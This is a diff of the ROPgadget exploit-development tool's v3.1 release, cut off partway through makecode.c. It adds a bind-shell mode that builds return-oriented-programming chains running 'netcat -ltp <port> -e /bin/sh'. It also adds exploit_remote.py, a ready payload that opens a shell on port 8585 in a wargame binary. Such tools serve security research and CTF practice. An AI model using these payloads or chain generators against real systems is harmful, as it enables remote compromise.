diff --git a/INSTALL b/INSTALL
old mode 100644
new mode 100755
index 67147fc..4a5e95d
--- a/INSTALL
+++ b/INSTALL
@@ -1,7 +1,8 @@
 ##
-## RopGadget - Release v3.0
-## Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-## 2011-08-01
+## RopGadget - Release v3.1
+## Jonathan Salwan - http://twitter.com/JonathanSalwan
+## http://shell-storm.org
+## 2011-09-05
 ##
 ## Redistribution and use in source and binary forms, with or without
 ## modification, are permitted provided that the following conditions
@@ -14,8 +15,8 @@
 ##
 
 
-$> tab -xf ROPgadget-v3.0.tar.gz
-$> cd ROPgadget-v3.0
+$> tab -xf ROPgadget-v3.1.tar.gz
+$> cd ROPgadget-v3.1
 $> make
 $> su
 $> make install
diff --git a/Makefile b/Makefile
old mode 100644
new mode 100755
index 1a5340f..0ddfce7
--- a/Makefile
+++ b/Makefile
@@ -1,7 +1,8 @@
 ##
-## RopGadget - Release v3.0
-## Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-## 2011-08-01
+## RopGadget - Release v3.1
+## Jonathan Salwan - http://twitter.com/JonathanSalwan
+## http://shell-storm.org
+## 2011-09-05
 ##
 ## Redistribution and use in source and binary forms, with or without
 ## modification, are permitted provided that the following conditions
@@ -44,7 +45,8 @@ SRC     = $(SRC_DIR)/main.c \
           $(SRC_DIR)/ropmaker.c \
 	  $(SRC_DIR)/makecode.c \
           $(SRC_DIR)/combo_ropmaker1.c \
-          $(SRC_DIR)/combo_ropmaker2.c
+          $(SRC_DIR)/combo_ropmaker2.c \
+	  $(SRC_DIR)/check_bind_mode.c
 
 OBJ      = $(SRC:.c=.o)
 
diff --git a/binary-test/exploit.py b/binary-test/exploit.py
index 7d1fa66..c61bc45 100644
--- a/binary-test/exploit.py
+++ b/binary-test/exploit.py
@@ -7,7 +7,7 @@
 from struct import pack
 
 p = "a" * 12
-# Generated by RopGadget v3.0
+# execve /bin/sh generated by RopGadget v3.1
 p += pack("<I", 0x08052bba) # pop %edx | ret
 p += pack("<I", 0x080cd9a0) # @ .data
 p += pack("<I", 0x080a4be6) # pop %eax | ret
diff --git a/binary-test/exploit_remote.py b/binary-test/exploit_remote.py
new file mode 100755
index 0000000..9eb2bd2
--- /dev/null
+++ b/binary-test/exploit_remote.py
@@ -0,0 +1,119 @@
+#!/usr/bin/python2
+# Test RopGadget payload in ndh_rop binary
+# ndh_rop is a binary on wargame-ndh-2010 (level 10)
+#
+# poc: ./ndh_rop "$(python2 ./exploit_remote.py)"
+
+from struct import pack
+
+p = "a" * 12
+# /bin/sh bindport 8585 generated by RopGadget v3.1
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9a0) # @ .data
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += "//us"
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9a4) # @ .data + 4
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += "r/bi"
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9a8) # @ .data + 8
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += "n/ne"
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9ac) # @ .data + 12
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += "tcat"
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9b0) # @ .data + 16
+p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9b1) # @ .data + 17
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += "-ltp"
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9b5) # @ .data + 21
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += "8585"
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9b9) # @ .data + 25
+p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9ba) # @ .data + 26
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += "-e//"
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9be) # @ .data + 30
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += "/bin"
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9c2) # @ .data + 34
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += "//sh"
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9c6) # @ .data + 38
+p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9c8) # @ .data + 40
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += pack("<I", 0x080cd9a0) # @ .data
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9cc) # @ .data + 44
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += pack("<I", 0x080cd9b1) # @ .data + 17
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9d0) # @ .data + 48
+p += pack("<I", 0x080a4be6) # pop %eax | ret
+p += pack("<I", 0x080cd9ba) # @ .data + 26
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9d4) # @ .data + 52
+p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9d5) # @ .data + 53
+p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9d6) # @ .data + 54
+p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9d7) # @ .data + 55
+p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
+p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
+p += pack("<I", 0x08048144) # pop %ebx | ret
+p += pack("<I", 0x080cd9a0) # @ .data
+p += pack("<I", 0x080c5dd2) # pop %ecx | ret
+p += pack("<I", 0x080cd9c8) # @ .data + 40
+p += pack("<I", 0x08052bba) # pop %edx | ret
+p += pack("<I", 0x080cd9d4) # @ .data + 52
+p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
+p += pack("<I", 0x08048ca6) # inc %eax | ret
+p += pack("<I", 0x08048ca6) # inc %eax | ret
+p += pack("<I", 0x08048ca6) # inc %eax | ret
+p += pack("<I", 0x08048ca6) # inc %eax | ret
+p += pack("<I", 0x08048ca6) # inc %eax | ret
+p += pack("<I", 0x08048ca6) # inc %eax | ret
+p += pack("<I", 0x08048ca6) # inc %eax | ret
+p += pack("<I", 0x08048ca6) # inc %eax | ret
+p += pack("<I", 0x08048ca6) # inc %eax | ret
+p += pack("<I", 0x08048ca6) # inc %eax | ret
+p += pack("<I", 0x08048ca6) # inc %eax | ret
+p += pack("<I", 0x08048ca8) # int $0x80
+
+print p
diff --git a/includes/ropgadget.h b/includes/ropgadget.h
index cac03d6..95f0845 100644
--- a/includes/ropgadget.h
+++ b/includes/ropgadget.h
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
@@ -68,6 +69,12 @@ typedef struct s_makecode
   struct s_makecode 	*next;
 } t_makecode;
 
+typedef struct  s_bind_mode
+{
+  char  port[8];
+  int   flag;
+} t_bind_mode;
+
 Elf32_Ehdr          	*pElf_Header;
 Elf32_Phdr          	*pElf32_Phdr;
 Elf32_Shdr          	*pElf32_Shdr;
@@ -76,6 +83,7 @@ Elf32_Shdr          	*pElf32_StringSection;
 Elf32_Addr  		Addr_sData;
 void                	*pMapElf;
 t_asm               	*pGadgets;
+t_bind_mode             bind_mode;
 
 /* core */
 char           		*get_flags(Elf32_Word);
@@ -106,6 +114,7 @@ int                     match(const char *, const char *, size_t);
 /* makecode */
 t_makecode              *add_element(t_makecode *, char *, Elf32_Addr);
 void			makecode(t_makecode *);
+void                    check_bind_mode(char **);
 
 /* x86-32bits */
 void 			gadget_x8632(unsigned char *, unsigned int, Elf32_Addr, int, t_maps_exec *);
diff --git a/src/check_arch_supported.c b/src/check_arch_supported.c
index 5860520..72265ac 100644
--- a/src/check_arch_supported.c
+++ b/src/check_arch_supported.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
@@ -22,12 +23,15 @@ void no_arch_supported(void)
   exit(EXIT_FAILURE);
 }
 
+/* supported: - Linux/x86-32bits */
+/* supported: - FreeBSD/x86-32bits */
+
 int check_arch_supported(void)
 {
-  /* supported: - Linux/x86-32bits */
   if (pElf_Header->e_ident[EI_CLASS] == ELFCLASS32 && pElf_Header->e_ident[EI_OSABI] == ELFOSABI_NONE && pElf_Header->e_machine == EM_386)
     return (0);
-  /* supported: - FreeBSD/x86-32bits */
+  if (pElf_Header->e_ident[EI_CLASS] == ELFCLASS32 && pElf_Header->e_ident[EI_OSABI] == ELFOSABI_LINUX && pElf_Header->e_machine == EM_386)
+    return (0);
   if (pElf_Header->e_ident[EI_CLASS] == ELFCLASS32 && pElf_Header->e_ident[EI_OSABI] == ELFOSABI_FREEBSD && pElf_Header->e_machine == EM_386)
     return (0);
   return (-1);
diff --git a/src/check_bind_mode.c b/src/check_bind_mode.c
new file mode 100755
index 0000000..b6a16fb
--- /dev/null
+++ b/src/check_bind_mode.c
@@ -0,0 +1,44 @@
+/*
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
+**
+** Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions
+** are met:
+** 1. Redistributions of source code must retain the above copyright
+**    notice, this list of conditions and the following disclaimer.
+** 2. Redistributions in binary form must reproduce the above copyright
+**    notice, this list of conditions and the following disclaimer in the
+**    documentation and/or other materials provided with the distribution.
+*/
+
+#include "ropgadget.h"
+
+void check_bind_mode(char **argv)
+{
+  int i = 0;
+
+  memset(bind_mode.port, 0x00, sizeof(bind_mode.port));
+  strcpy(bind_mode.port, "1337"); /* set a default port */
+  bind_mode.flag = 0;
+  while (argv[i] != NULL)
+    {
+      if (!strcmp(argv[i], "-bind"))
+        {
+          bind_mode.flag = 1;
+          if (argv[i + 1] != NULL && !strcmp(argv[i + 1], "-port") && argv[i + 2] != NULL)
+            {
+              if (atoi(argv[i + 2]) < 1000 || atoi(argv[i + 2]) > 9999)
+                {
+                  fprintf(stderr, "Error port: need to set port between 1000 and 9999 (For stack padding :/)\n");
+                  exit(EXIT_FAILURE);
+                }
+              else
+                strcpy(bind_mode.port, argv[i + 2]);
+            }
+        }
+      i++;
+    }
+}
diff --git a/src/check_elf_format.c b/src/check_elf_format.c
index 93eeb4b..9946207 100644
--- a/src/check_elf_format.c
+++ b/src/check_elf_format.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
diff --git a/src/check_exec_maps.c b/src/check_exec_maps.c
index 807a9d2..bbd96e9 100644
--- a/src/check_exec_maps.c
+++ b/src/check_exec_maps.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
diff --git a/src/combo_ropmaker1.c b/src/combo_ropmaker1.c
index 5bad9f0..a4cc7bd 100644
--- a/src/combo_ropmaker1.c
+++ b/src/combo_ropmaker1.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
@@ -15,7 +16,7 @@
 
 #include "ropgadget.h"
 
-/* gadget necessary for the combo 1 */
+/* gadget necessary for combo 1 */
 t_ropmaker tab_combo_ropsh1[] =
 {
   {"int $0x80"},
@@ -32,34 +33,43 @@ t_ropmaker tab_combo_ropsh1[] =
 void combo_ropmaker1(void)
 {
   int i = 0;
+  int flag = 0;
   Elf32_Addr addr;
   t_makecode *list_ins = NULL;
 
-  /* check if the combo 1 is possible */
+  /* check combo 1 if possible */
   while (tab_combo_ropsh1[i].instruction)
     {
       if (search_instruction(tab_combo_ropsh1[i].instruction) == 0)
         {
-          fprintf(stderr, "[%s-%s] Combo 1 was not found (%sMiss%s: %s)\n", RED, ENDC, RED, ENDC, tab_combo_ropsh1[i].instruction);
-          return ;
+          flag = 1;
+          break;
         }
       i++;
     }
 
-  fprintf(stdout, "[%s+%s] Combo 1 was found - Possible with the following gadgets. (execve)\n", GREEN, ENDC);
+  if (flag == 0)
+    fprintf(stdout, "[%s+%s] Combo 1 was found - Possible with the following gadgets. (execve)\n", GREEN, ENDC);
+  else
+    fprintf(stderr, "[%s-%s] Combo 1 was not found, missing instruction(s).\n", RED, ENDC);
+
   i = 0;
   while (tab_combo_ropsh1[i].instruction)
     {
       addr = search_instruction(tab_combo_ropsh1[i].instruction);
       if (addr)
         {
-          fprintf(stdout, "\t- %s0x%.8x%s => %s%s%s\n", RED, addr, ENDC, GREEN, get_gadget_since_addr(addr), ENDC);
-          list_ins = add_element(list_ins, get_gadget_since_addr(addr), addr);
+          fprintf(stdout, "\t- %s0x%.8x%s => %s%s%s\n", GREEN, addr, ENDC, GREEN, get_gadget_since_addr(addr), ENDC);
+          if (!flag)
+            list_ins = add_element(list_ins, get_gadget_since_addr(addr), addr);
         }
+      else
+        fprintf(stdout, "\t- %s..........%s => %s%s%s\n", RED, ENDC, RED, tab_combo_ropsh1[i].instruction, ENDC);
       i++;
     }
-  fprintf(stdout, "\t- %s0x%.8x%s => %s.data Addr%s\n", RED, Addr_sData, ENDC, YELLOW, ENDC);
+  fprintf(stdout, "\t- %s0x%.8x%s => %s.data Addr%s\n", GREEN, Addr_sData, ENDC, GREEN, ENDC);
 
-  /* make a python code */
-  makecode(list_ins);
+  /* build a python code */
+  if (!flag)
+    makecode(list_ins);
 }
diff --git a/src/combo_ropmaker2.c b/src/combo_ropmaker2.c
index a385dfe..c5406ea 100644
--- a/src/combo_ropmaker2.c
+++ b/src/combo_ropmaker2.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
@@ -15,7 +16,7 @@
 
 #include "ropgadget.h"
 
-/* gadget necessary for the combo 2 */
+/* gadget necessary for combo 2 */
 t_ropmaker tab_combo_ropsh2[] =
 {
   {"sysenter"},
@@ -33,34 +34,43 @@ t_ropmaker tab_combo_ropsh2[] =
 void combo_ropmaker2(void)
 {
   int i = 0;
+  int flag = 0;
   Elf32_Addr addr;
   t_makecode *list_ins = NULL;
 
-  /* check if the combo 2 is possible */
+  /* check combo 1 if possible */
   while (tab_combo_ropsh2[i].instruction)
     {
       if (search_instruction(tab_combo_ropsh2[i].instruction) == 0)
         {
-          fprintf(stderr, "[%s-%s] Combo 2 was not found (%sMiss%s: %s)\n", RED, ENDC, RED, ENDC, tab_combo_ropsh2[i].instruction);
-          return ;
+          flag = 1;
+          break;
         }
       i++;
     }
 
-  fprintf(stdout, "[%s+%s] Combo 2 was found - Possible with the following gadgets. (execve)\n", GREEN, ENDC);
+  if (flag == 0)
+    fprintf(stdout, "[%s+%s] Combo 1 was found - Possible with the following gadgets. (execve)\n", GREEN, ENDC);
+  else
+    fprintf(stderr, "[%s-%s] Combo 1 was not found, missing instruction(s).\n", RED, ENDC);
+
   i = 0;
   while (tab_combo_ropsh2[i].instruction)
     {
       addr = search_instruction(tab_combo_ropsh2[i].instruction);
       if (addr)
         {
-          fprintf(stdout, "\t- %s0x%.8x%s => %s%s%s\n", RED, addr, ENDC, GREEN, get_gadget_since_addr(addr), ENDC);
-          list_ins = add_element(list_ins, get_gadget_since_addr(addr), addr);
+          fprintf(stdout, "\t- %s0x%.8x%s => %s%s%s\n", GREEN, addr, ENDC, GREEN, get_gadget_since_addr(addr), ENDC);
+          if (!flag)
+            list_ins = add_element(list_ins, get_gadget_since_addr(addr), addr);
         }
+      else
+        fprintf(stdout, "\t- %s..........%s => %s%s%s\n", RED, ENDC, RED, tab_combo_ropsh2[i].instruction, ENDC);
       i++;
     }
-  fprintf(stdout, "\t- %s0x%.8x%s => %s.data Addr%s\n", RED, Addr_sData, ENDC, YELLOW, ENDC);
+  fprintf(stdout, "\t- %s0x%.8x%s => %s.data Addr%s\n", GREEN, Addr_sData, ENDC, GREEN, ENDC);
 
-  /* make a python code */
-  makecode(list_ins);
+  /* build a python code */
+  if (!flag)
+    makecode(list_ins);
 }
diff --git a/src/display_data.c b/src/display_data.c
index f00223f..bc070a6 100644
--- a/src/display_data.c
+++ b/src/display_data.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
diff --git a/src/display_info_header.c b/src/display_info_header.c
index 3e79c1b..4b67deb 100644
--- a/src/display_info_header.c
+++ b/src/display_info_header.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
diff --git a/src/display_version.c b/src/display_version.c
index b9d7b5f..5fc0c02 100644
--- a/src/display_version.c
+++ b/src/display_version.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
@@ -17,8 +18,8 @@
 
 void display_version(void)
 {
-  fprintf(stdout, "RopGadget - Release v3.0 (2011-08-01)\n");
-  fprintf(stdout, "Jonathan Salwan - twitter @shell_storm\n");
+  fprintf(stdout, "RopGadget - Release v3.1 (2011-09-05)\n");
+  fprintf(stdout, "Jonathan Salwan - twitter @JonathanSalwan\n");
   fprintf(stdout, "http://www.shell-storm.org\n");
 
   exit(EXIT_SUCCESS);
diff --git a/src/gadget_x8632.c b/src/gadget_x8632.c
index e8d263e..973c28e 100644
--- a/src/gadget_x8632.c
+++ b/src/gadget_x8632.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
diff --git a/src/get_flags.c b/src/get_flags.c
index e69dbbc..1a82de4 100644
--- a/src/get_flags.c
+++ b/src/get_flags.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
diff --git a/src/get_seg.c b/src/get_seg.c
index 1dcc2b1..706df7a 100644
--- a/src/get_seg.c
+++ b/src/get_seg.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
diff --git a/src/how_many_found.c b/src/how_many_found.c
index d818fa3..20d78b7 100644
--- a/src/how_many_found.c
+++ b/src/how_many_found.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
diff --git a/src/main.c b/src/main.c
index fd93921..69735aa 100644
--- a/src/main.c
+++ b/src/main.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
@@ -23,7 +24,7 @@ int main(int argc, char **argv)
 
   if (argc == 2 && !strcmp(argv[1], "-v"))
     display_version();
-  else if (argc != 3)
+  else if (argc < 3)
     syntax(argv[0]);
 
   if((stat(argv[2], &filestat)) == -1)
@@ -38,7 +39,10 @@ int main(int argc, char **argv)
   if (!strcmp(argv[1], "-d"))
     display_data(data, size);
   else if (!strcmp(argv[1], "-g"))
-    search_gadgets(data, size);
+      {
+        check_bind_mode(argv);
+        search_gadgets(data, size);
+      }
   else
     syntax(argv[0]);
 
diff --git a/src/makecode.c b/src/makecode.c
index a772405..ed747f8 100644
--- a/src/makecode.c
+++ b/src/makecode.c
@@ -1,7 +1,8 @@
 /*
-** RopGadget - Release v3.0
-** Jonathan Salwan - http://shell-storm.org - http://twitter.com/shell_storm
-** 2011-08-01
+** RopGadget - Release v3.1
+** Jonathan Salwan - http://twitter.com/JonathanSalwan
+** http://shell-storm.org
+** 2011-09-05
 **
 ** Redistribution and use in source and binary forms, with or without
 ** modification, are permitted provided that the following conditions
@@ -17,9 +18,9 @@
 ** Make a payload.
 ** 4 parties:
 **
-**   1) write "/bin/sh\0" in .data
-**   2) init reg
-**   3) set %eax for execve() syscall
+**   1) write "/bin/sh\0" in .data or "/usr/bin/netcat" if -bind flag is enable
+**   2) registers initialisation
+**   3) initialisation of %eax for execve() syscall
 **   4) call "int 0x80" or "sysenter"
 **
 */
@@ -175,8 +176,8 @@ static void display_padding(int i)
     }
 }
 
-/* partie 1 | write /bin/sh in .data */
-static void makepartie1(t_makecode *list_ins)
+/* partie 1 | write /bin/sh in .data for execvet("/bin/sh", NULL, NULL)*/
+static void makepartie1_local(t_makecode *list_ins)
 {
   Elf32_Addr addr_mov_gadget;
   Elf32_Addr addr_xor_gadget;
@@ -212,7 +213,7 @@ static void makepartie1(t_makecode *list_ins)
   xor_gadget = get_gadget_since_addr(addr_xor_gadget);
 
   fprintf(stdout, "\t%sPayload%s\n", YELLOW, ENDC);
-  fprintf(stdout, "\t\t%s# Generated by RopGadget v3.0%s\n", BLUE, ENDC);
+  fprintf(stdout, "\t\t%s# execve /bin/sh generated by RopGadget v3.1%s\n", BLUE, ENDC);
 
   /*****************\/bin*********************/
   fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
@@ -255,8 +256,306 @@ static void makepartie1(t_makecode *list_ins)
   free(second_reg);
 }
 
-/* init reg => %ebx = "/bin/sh\0" | %ecx = "\0" | %edx = "\0" */
-static void makepartie2(t_makecode *list_ins)
+/* partie 1 bis | write //usr/bin/netcat -ltp6666 -e// /bin //sh in .data */
+static void makepartie1_remote(t_makecode *list_ins)
+{
+  Elf32_Addr addr_mov_gadget;
+  Elf32_Addr addr_xor_gadget;
+  Elf32_Addr addr_pop_stack_gadget;
+  Elf32_Addr addr_pop_binsh_gadget;
+  char *mov_gadget;
+  char *xor_gadget;
+  char *pop_stack_gadget;
+  char *pop_binsh_gadget;
+  char *first_reg;
+  char *second_reg;
+  char reg_stack[32] = "pop %";
+  char reg_binsh[32] = "pop %";
+  char instr_xor[32] = "xor %";
+
+
+  addr_mov_gadget = ret_addr_makecodefunc(list_ins, "mov %e?x,(%e?x)");
+  mov_gadget = get_gadget_since_addr(addr_mov_gadget);
+
+  first_reg = get_first_reg(mov_gadget);
+  second_reg = get_second_reg(mov_gadget);
+
+  strncat(reg_stack, second_reg, 3);
+  strncat(reg_binsh, first_reg, 3);
+  strncat(instr_xor, first_reg, 3);
+
+  addr_pop_stack_gadget = ret_addr_makecodefunc(list_ins, reg_stack);
+  pop_stack_gadget = get_gadget_since_addr(addr_pop_stack_gadget);
+  addr_pop_binsh_gadget = ret_addr_makecodefunc(list_ins, reg_binsh);
+  pop_binsh_gadget = get_gadget_since_addr(addr_pop_binsh_gadget);
+
+  addr_xor_gadget = ret_addr_makecodefunc(list_ins, instr_xor);
+  xor_gadget = get_gadget_since_addr(addr_xor_gadget);
+
+  fprintf(stdout, "\t%sPayload%s\n", YELLOW, ENDC);
+  fprintf(stdout, "\t\t%s# /bin/sh bindport %s generated by RopGadget v3.1%s\n", BLUE, bind_mode.port, ENDC);
+
+  /*****************\//us*********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data%s\n", BLUE, Addr_sData, ENDC);
+  display_padding(how_many_pop_after(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_binsh_gadget, pop_binsh_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += \"//us\"%s\n", BLUE, ENDC);
+  display_padding(how_many_pop_after(pop_binsh_gadget, reg_binsh));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_mov_gadget, mov_gadget, ENDC);
+  display_padding(how_many_pop(mov_gadget));
+  /*******************EOF*********************/
+
+  /******************r/bi*********************/
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, addr_pop_stack_gadget, pop_stack_gadget, ENDC);
+  display_padding(how_many_pop_before(pop_stack_gadget, reg_stack));
+  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # @ .data + 4%s\n", BLUE, Addr_sData + 4, ENDC);
